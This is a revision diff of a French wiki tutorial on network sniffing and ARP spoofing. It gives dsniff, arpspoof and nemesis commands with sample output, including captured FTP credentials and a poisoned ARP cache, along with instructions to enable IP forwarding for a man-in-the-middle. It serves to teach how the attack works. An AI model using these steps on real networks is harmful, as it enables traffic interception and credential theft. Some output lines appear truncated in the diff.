Différences

Ci-dessous, les différences entre deux révisions de la page.

--- tuto:linux:sniffeur_attaque_arp_spoofing [2009/03/15 12:11] – créée root
+++ tuto:linux:sniffeur_attaque_arp_spoofing [2010/08/14 21:33] (Version actuelle) – root
@@ Ligne 1: / Ligne 1: @@
-== Sniffeur ==
+====== Sniffeur ======
-* dsniff
+  * dsniff
- aptitude install dniff
+  aptitude install dsniff
- root@ubuntu:~# dsniff -i eth0
+  root@ubuntu:~# dsniff -i eth0
- dsniff: listening on eth0
+  dsniff: listening on eth0
- -----------------
+  -----------------
 /12/08 18:26:13 tcp gigi.home.gigi.45484 -> server.home.gigi.21 (ftp)
- USER anonymous
+  USER anonymous
- PASS mozilla@example.com
+  PASS mozilla@example.com
- USER administrateur
+  USER administrateur
- PASS toto
+  PASS toto
-== ARP spoofing ==
+====== ARP spoofing ======
 Source : http://ethneo.free.fr/arp_spoofing.php
@@ Ligne 23: / Ligne 23: @@
 Conséquences :
-* Compromissions
+  * Compromissions
-* DoS (cache poisoning), etc...
+  * DoS (cache poisoning), etc...
 Elle s'effectue sur le réseau physique des victimes.
@@ Ligne 33: / Ligne 33: @@
 Quand un paquet IP doit être envoyé la machine expéditrice a besoin de l'adresse MAC du destinataire. Pour cela une requête ARP en broadcast est envoyée à chacune des machines du réseau physique local. Cette requête pose la question : "Quelle est l'adresse MAC associée à cette adresse IP ?". La machine ayant cette adresse IP répond via un paquet ARP, cette réponse indiquant à la machine émettrice l'adresse MAC recherchée. Dès lors, la machine source possède l'adresse MAC correspondant à l'adresse IP destination des paquets qu'elle doit envoyer. Cette correspondance sera gardée pendant un certain temps au niveau d'un cache (pour éviter de faire une nouvelle requête à chaque paquet IP envoyé).
 Cette attaque corrompt le cache de la machine victime. Le pirate envoie des paquets ARP réponse à la machine cible indiquant que la nouvelle adresse MAC correspondant à l'adresse IP d'une passerelle (par exemple) est la sienne. La machine du pirate recevra donc tout le trafic à destination de la passerelle, il lui suffira alors d'écouter passivement le trafic (et/ou le modifier). Il routera ensuite les paquets vers la véritable destination.
 L'ARP Spoofing sert dans le cas où le réseau local utilise des switchs. Ceux-ci redirigent les trames Ethernet sur des ports différents selon l'adresse MAC. Il est dès lors impossible à un sniffer de capturer des trames au-delà de son brin physique. L'ARP Spoofing permet ainsi d'écouter le trafic entre des machines situées sur des brins différents au niveau du switch.
@@ Ligne 43: / Ligne 43: @@
 Pour mettre en oeuvre une attaque par ARP Spoofing, le pirate va utiliser un générateur de paquet ARP comme ARPSpoof ou nemesis. Soit la machine victime 10.0.0.171, sa passerelle par défaut 10.0.0.1et la machine du pirate 10.0.0.227. Avant l'attaque un traceroute donne comme résultat :
- [root@cible]$ traceroute 10.0.0.1
+  [root@cible]$ traceroute 10.0.0.1
- traceroute to 10.0.0.1 (10.0.0.1), 30 hops max, 40 byte packets
+  traceroute to 10.0.0.1 (10.0.0.1), 30 hops max, 40 byte packets
-  10.0.0.1  (10.0.0.1)  1.218 ms  1.061 ms  0.849 ms
+10.0.0.1 (10.0.0.1) 1.218 ms 1.061 ms 0.849 ms
 Et le cache ARP de la machine cible est :
- [root@cible]$ arp
+  [root@cible]$ arp
- Address                HWtype        HWAddress                Flags Mask        Iface
+  Address HWtype HWAddress Flags Mask Iface
-.0.0.1        ether         00:b0:c2:88:de:65        C                eth0
+.0.0.1 ether 00:b0:c2:88:de:65 C eth0
-.0.0.227        ether        00:00:86:35:c9:3f        C                eth0
+.0.0.227 ether 00:00:86:35:c9:3f C eth0
 Le pirate lance alors ARPSpoof :
- [root@pirate]$ arpspoof -t 10.0.0.171 10.0.0.1
+  [root@pirate]$ arpspoof -t 10.0.0.171 10.0.0.1
 :0:86:35:c9:3f 0:60:8:de:64:f0 0806 42: arp reply 10.0.0.1 is-at 0:0:86:35:c9:3f
 :0:86:35:c9:3f 0:60:8:de:64:f0 0806 42: arp reply 10.0.0.1 is-at 0:0:86:35:c9:3f
 :0:86:35:c9:3f 0:60:8:de:64:f0 0806 42: arp reply 10.0.0.1 is-at 0:0:86:35:c9:3f
 :0:86:35:c9:3f 0:60:8:de:64:f0 0806 42: arp reply 10.0.0.1 is-at 0:0:86:35:c9:3f
 :0:86:35:c9:3f 0:60:8:de:64:f0 0806 42: arp reply 10.0.0.1 is-at 0:0:86:35:c9:3f
 :0:86:35:c9:3f 0:60:8:de:64:f0 0806 42: arp reply 10.0.0.1 is-at 0:0:86:35:c9:3f
 :0:86:35:c9:3f 0:60:8:de:64:f0 0806 42: arp reply 10.0.0.1 is-at 0:0:86:35:c9:3f
 Les paquets envoyés sont des paquets ARP empoisonnant le cache ARP de la machine 10.0.0.171 avec des ARP Reply indiquant que l'adresse MAC associée à 10.0.0.1 est maintenant 00:00:86:35:c9:3f.
-Désormais, le cache ARP de la machine 10.0.0.171 est  :
+Désormais, le cache ARP de la machine 10.0.0.171 est :
- [root@cible -> ~]$ arp
+  [root@cible -> ~]$ arp
- Address                HWtype        HWAddress                Flags Mask        Iface
+  Address HWtype HWAddress Flags Mask Iface
-.0.0.1        ether         00:00:86:35:c9:3f        C                eth0
+.0.0.1 ether 00:00:86:35:c9:3f C eth0
-.0.0.227        ether        00:00:86:35:c9:3f        C                eth0
+.0.0.227 ether 00:00:86:35:c9:3f C eth0
 Pour vérifier que le trafic passe maintenant par la machine 10.0.0.227 il suffit de faire un nouveau traceroute vers la passerelle 10.0.0.1 :
- [root@cible -> ~]$ traceroute 10.0.0.1
+  [root@cible -> ~]$ traceroute 10.0.0.1
- traceroute to 10.0.0.1 (10.0.0.1), 30 hops max, 40 byte packets
+  traceroute to 10.0.0.1 (10.0.0.1), 30 hops max, 40 byte packets
-  10.0.0.227  (10.0.0.227)  1.712 ms  1.465 ms  1.501 ms
+10.0.0.227 (10.0.0.227) 1.712 ms 1.465 ms 1.501 ms
-  10.0.0.1  (10.0.0.1)  2.238 ms  2.121 ms  2.169 ms
+10.0.0.1 (10.0.0.1) 2.238 ms 2.121 ms 2.169 ms
 Le pirate est désormais capable de sniffer le trafic de la machine 10.0.0.171 vers 10.0.0.1.
-Il ne faut pas que le pirate oublie d'activer le routage IP sur sa machine 10.0.0.227 (avec l'IP Forwarding - activer la clé > net.ipv4.ip_forward dans /etc/sysctl.conf ou echo '''1 > /proc/sys/net/ipv4/ip_forward''' ou encore fragrouter ).
+Il ne faut pas que le pirate oublie d'activer le routage IP sur sa machine 10.0.0.227 (avec l'IP Forwarding - activer la clé > net.ipv4.ip_forward dans /etc/sysctl.conf ou echo **1 > /proc/sys/net/ipv4/ip_forward** ou encore fragrouter ).
-== Tutorial ettercap ==
+====== Tutorial ettercap ======
 http://www.openmaniak.com/fr/ettercap_arp.php
@@ Ligne 91: / Ligne 91: @@
-== Tutorial Nemesis ==
+====== Tutorial Nemesis ======
 Nemesis est un forgeur de packets réseaux multi-protocoles.
 [modifier] Usage
- nemesis [mode] [options]
+  nemesis [mode] [options]
 [modifier] Modes
-* arp
+  * arp
-* dns
+  * dns
-* ethernet
+  * ethernet
-* icmp
+  * icmp
-* igmp
+  * igmp
-* ip
+  * ip
-* ospf (currently non-functional)
+  * ospf (currently non-functional)
-* rip
+  * rip
-* tcp
+  * tcp
-* udp
+  * udp
 [modifier] Forger des paquets ARP/RARP
 ARP/RARP Utilisation:
-   arp [-v (Mode bavard)] [options]
+  arp [-v (Mode bavard)] [options]
 ARP/RARP Options:
-*   -S <Adresse IP source>
+  * -S <Adresse IP source>
-*   -D <Adresse IP destination>
+  * -D <Adresse IP destination>
-*   -h <Adresse MAC envoyer dans la trame ARP(spoof)>
+  * -h <Adresse MAC envoyer dans la trame ARP(spoof)>
-*   -m <Adresse MAC de la cible dans la trame ARP>
+  * -m <Adresse MAC de la cible dans la trame ARP>
-*   -s <Solaris style ARP requests with target hardware addess set to broadcast>
+  * -s <Solaris style ARP requests with target hardware addess set to broadcast>
-*   -r ({ARP,RARP} permet la réponse)
+  * -r ({ARP,RARP} permet la réponse)
-*   -R (RARP activer)
+  * -R (RARP activer)
-*   -P <Fichier du code exécutable>
+  * -P <Fichier du code exécutable>
 Data Link Options:
-*   -d <Nom de l'interface Ethernet>
+  * -d <Nom de l'interface Ethernet>
-*   -H <Adresse MAC source>
+  * -H <Adresse MAC source>
-*   -M <Adresse IP destination>
+  * -M <Adresse IP destination>
 [modifier] Forger des paquet IP
 IP Utilisation:
-*   ip [-v (Mode bavard)] [options]
+  * ip [-v (Mode bavard)] [options]
 IP Options:
-*   -S <Adresse IP source>
+  * -S <Adresse IP source>
-*   -D <Adresse IP destination>
+  * -D <Adresse IP destination>
-*   -I <IP ID>
+  * -I <IP ID>
-*   -p <IP numéro de protocole>
+  * -p <IP numéro de protocole>
-*   -T <IP TTL>
+  * -T <IP TTL>
-*   -t <IP TOS>
+  * -t <IP TOS>
-*   -F <IP Options de fragmentation >
+  * -F <IP Options de fragmentation >
-*   -F[D],[M],[R],[offset]
+  * -F[D],[M],[R],[offset]
-*   -O <IP Fichier d'options>
+  * -O <IP Fichier d'options>
-*   -P <Fichier du code exécutable>
+  * -P <Fichier du code exécutable>
 Data Link Options:
-*   -d <Nom de l'interface Ethernet>
+  * -d <Nom de l'interface Ethernet>
-*   -H <Adresse MAC source>
+  * -H <Adresse MAC source>
-*   -M <Adresse IP destination>
+  * -M <Adresse IP destination>
 [modifier] Exemples
@@ Ligne 157: / Ligne 157: @@
 Paquet ARP:
- nemesis arp -S 10.0.0.50 -D 10.0.0.1 -h 00:11:22:33:44:55
+  nemesis arp -S 10.0.0.50 -D 10.0.0.1 -h 00:11:22:33:44:55
 L'équipement 10.0.0.1 va recevoir une requête ARP de type:
- Who has 10.0.0.1 tell 10.0.0.50
+  Who has 10.0.0.1 tell 10.0.0.50
 Celui-ci va répondre:
 .0.0.1 is at 00:01:29:D5:AE:d5
 Et par la même occasion ajouter l'adresse MAC de 10.0.0.50 dans sa table ARP:
- arp -a
+  arp -a
- Interface : 10.0.0.1 --- 0x2
+  Interface : 10.0.0.1 --- 0x2
-  Adresse Internet      Adresse physique      Type
+  Adresse Internet Adresse physique Type
-.0.0.50             00-11-22-33-44-55     dynamique
+.0.0.50 00-11-22-33-44-55 dynamique